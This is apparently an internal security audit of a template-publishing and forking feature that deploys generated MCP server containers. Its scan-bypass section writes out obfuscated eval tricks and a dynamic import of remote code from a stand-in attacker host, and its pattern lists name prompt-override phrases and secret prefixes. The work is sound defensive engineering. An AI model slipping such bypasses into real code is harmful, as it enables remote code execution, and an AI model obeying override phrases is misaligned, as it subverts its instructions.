# Template Integration — Sovereign Audit Date: 2026-05-19 · Scope: `apps/api/src/routes/templates.ts`, the create-server template path in `servers.ts`, generator worker cache path, all `/templates/*` UI. ## Threat model Actors: **publisher** (creates a template, may be malicious), **forker** (consumes a template, may be a victim), **admin** (full control), **external attacker** (no account), **compromised session** (attacker holding a victim's cookie). Assets: forker's uploaded secrets, forker's container compute, every other tenant's container, Postgres + Redis state, host Docker daemon, the ANTHROPIC_API_KEY. --- ## P0 — CRITICAL (fix immediately) ### A. Takedown does not stop the malicious container `PATCH /v1/admin/templates/:id` with `status=takedown` updates `mcp_servers.status` to `paused` but **never stops the Docker container**. The container keeps serving traffic on its allocated port. Forkers' AI clients keep calling the malicious endpoint. Admin gets the false impression that the threat is neutralized. ```ts // current code: await db.update(mcpServers).set({ status: 'paused', ... }) // missing: await stopContainer(server.containerId) for every affected server ``` **Severity**: Critical. The entire safety story of "takedown protects users" is hollow. **Will fix below.** ### B. Fork accepts `specEdit` — silent edits that don't take effect The wizard intentionally suppresses `specEdit` when forking (only sends `templateId`), but a hand-crafted API request `POST /v1/servers` with `{ templateId, previewId, specEdit }` would: 1. Enter the `specEdit` branch → merge edits into the cached spec 2. The cached spec then mismatches the **pre-built code** (which is also in the cache, untouched) 3. Worker uses pre-built code, ignoring the merged spec entirely Result: the user thinks they renamed a tool / changed a schema; the deployed container behaves as the original template. **Not a privilege-escalation, but a trust-of-UI violation.** A clever attacker could exploit it to publish a server under a misleading edited spec ("my fork is harmless because I changed X") when in fact the original impl runs. **Severity**: High. **Will fix below.** ### C. `templateId` on `POST /v1/servers` is user-controlled and unvalidated Body field `templateId` is accepted with only Zod-`uuid()` validation. No check that: - The id points to an actual template - The template is publicly forkable - The user actually went through `POST /v1/templates/:slug/fork` A user can therefore inflate any template's `forkCount` indefinitely by sending fake creates with that templateId. Also: server's `templateId` column gets garbage data, breaking attribution and the takedown cascade (paused servers wouldn't be caught because `templateId` doesn't match any real template). **Severity**: High (data integrity + fork-count manipulation). **Will fix below.** --- ## P1 — HIGH ### D. Banned-pattern scan is regex-leaky Current patterns: ```js /\beval\s*\(/, // eval( /\bnew\s+Function\s*\(/, // new Function( — but Function(...) without `new` slips through /\bchild_process\b/, /ignore previous instructions/i, /disregard ...above/i, ``` Trivial bypasses: - `globalThis['ev' + 'al']('payload')` — no `eval(` literal - `Function('return 1')()` — no `new` keyword, regex misses - `import('https://attacker.com/payload.js')` — dynamic import isn't restricted - `setTimeout('payload', 0)` — string-arg setTimeout evaluates code - `require('child' + '_process')` — concat splits the literal - `Buffer.from(b64, 'base64').toString()` then evaluate — multi-step decode **The static scan must be treated as a tripwire, not a security boundary.** The real defense is the Docker sandbox. Severity: **Medium** (defense-in-depth gap). **Will fix below**: add `Function\s*\(`, `\bimport\s*\(`, common credential patterns, `setTimeout/setInterval` with string args. ### E. Stored generated code may contain a published-by-mistake secret If a publisher prompts Claude with their API key inlined (e.g., "use my key sk-ant-api03-…"), Claude may include it verbatim in the generated code. That code is stored in `templates.generatedCode` and rendered publicly on the detail page. **Severity**: Medium. Mitigation: scan for high-entropy strings + known secret prefixes at publish time. **Will fix below**. ### F. `allowedDomains` is collected but never enforced The publish form accepts a list of allowed egress domains. We persist it. The generator does not wire it into the container's network config. The field **suggests** protection that does not exist — worse than no field at all. **Severity**: Medium (false confidence). **Will document + warn in UI**. --- ## P2 — MEDIUM ### G. Slug regex looseness `fork` and `detail` endpoints accept slug `min(1).max(64)` with no regex. Slugs are used only for DB lookup (parameterized) and Redis (key-prefixed), so no immediate exploit, but defensive hardening warranted. **Will fix**. ### H. Race: fork in flight during takedown Window: ~milliseconds between fork POST and Redis cache write. If admin takes down between the public-status check and `cacheSpec`/`cachePrebuiltCode`, the cached entries leak the original code for 5min. Forker can still create from that cache. Worst case: 1 extra fork before TTL evicts. **Severity**: Low. Acceptable for v1. Note in audit log. ### I. N+1 query in `/v1/templates` list For each template we do a separate `COUNT` for active deployments. Doesn't scale. **Performance**, not security. Skip for v1. ### J. No rate limiting on fork A logged-in user can drive port-exhaustion (4100–4999 = 900 slots) by forking repeatedly. **Severity**: Low (single-tenant dev). Production: add rate limit. --- ## What's actually safe - Cross-org template fork **always lands in the forker's own org** (we use `req.user!.orgId` for the new server). Forker can't write to another org. - Slug uniqueness is enforced at DB level + retried with random suffix. - SQL injection blocked by Drizzle parameterized queries. - XSS blocked by React's auto-escape; no `dangerouslySetInnerHTML` anywhere. - Pre-built code path correctly skips the render step — no Claude re-call leak. - Banned-pattern scan runs at publish AND at fork-with-specEdit. - Audit-log writes for every admin action (verify, hide, takedown). --- ## Fixes applied in this commit 1. **A — takedown stops containers** (`stopContainer` is now called for every affected server's `containerId`) 2. **B — fork rejects `specEdit`** with 422 (with clear error message) 3. **C — `templateId` validated** against an existing public template, and the `previewId` must have been issued for that template (linked via a Redis key `fork-ref:` → templateId set during fork) 4. **D — additional banned patterns**: `Function\s*\(`, `\bimport\s*\(`, `setTimeout|setInterval\s*\(\s*['"\`]` (string-eval form), common secret prefixes 5. **E — secret scan at publish**: regex for `sk-ant-…`, `sk-live-…`, `AKIA…`, `ghp_…`, `xoxb-…`, AWS access keys 6. **G — slug regex tightened** on fork and detail endpoints 7. **F — UI warning + CHOICES.md note**: `allowedDomains` is collected but enforcement is Sprint 4 ## Deferred (logged for tracking) - **F (enforcement)** — Docker network-namespace + iptables egress rules per container. Sprint 4. - **I** — single-query joins / cached aggregates for marketplace listing - **J** — per-user fork rate limit (Redis token bucket)